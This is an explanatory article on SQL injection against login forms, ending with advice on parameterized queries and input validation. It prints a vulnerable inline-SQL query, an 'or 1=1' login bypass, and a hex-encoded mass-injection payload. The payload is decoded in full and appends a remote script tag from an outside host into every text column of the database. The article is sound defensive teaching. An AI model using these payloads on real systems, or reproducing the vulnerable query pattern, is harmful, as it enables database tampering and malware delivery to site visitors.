We can start describing the problem by giving a common
example using Login process. A Common Practice of login form is below.
Listing 1
select * from users where userName='" & Request.Form("userName") &
"' and userPass='" & Request.Form("password") & "'Inline SQL is a very bad practice since it can open the door
for hackers. Inline query is used to build dynamic query by taking the user
input. So hackers can convert the query to malicious SQL by inputting username
as "a or 1=1'--" which will produce a query like below.
Listing 2
select * from users where userName='a or 1=1'-- and userPass =''….
The above will return true always and will welcome (enter)
users to the site. This technique is very old and most of us know this
technique. Modern hackers are smart enough. Their target was not just to enter
into the system rather, but to also make the system worst by injecting bad
script into the database and script file. In most of the cases these scripts
contain viruses and the affected websites listed as phishing sites in search
engines. The latest technique of attack is to execute a stored procedure in
input fields like below.
Listing 3
DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C41524520405420564152434841522
8323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7
220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D2073797
36F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414
E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653
D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E20546
1626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F72204
94E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E204
55845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D284
34F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C73637269707
4207372633D687474703A2F2F7777772E6B6164706F72742E636F6D2F622E6A733E3C2F73637269707
43E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F204
0542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F4341544520546
1626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);--
It is quite difficult to understand the commands from the
above inputs. But after decoding the HEX code to ASCII string, it can be found.
Listing 4
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE
a.id=b.id AND
a.xtype='u' AND
(b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('UPDATE ['+@T+']
SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''
<script src=http://www.kadport.com/b.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor;
EXEC(@S);--We have multiple ways to block this type of injection. The recommended
process is to use stored procedures with parameterized SQL because they are
type safe and length specified. But for the large existing application which never
used any parameterized query, it will be a time consuming task to convert every
dynamic query to parameterized query. A quicker solution is to build a central
monitoring system, which will validate the input variables from all the forms.
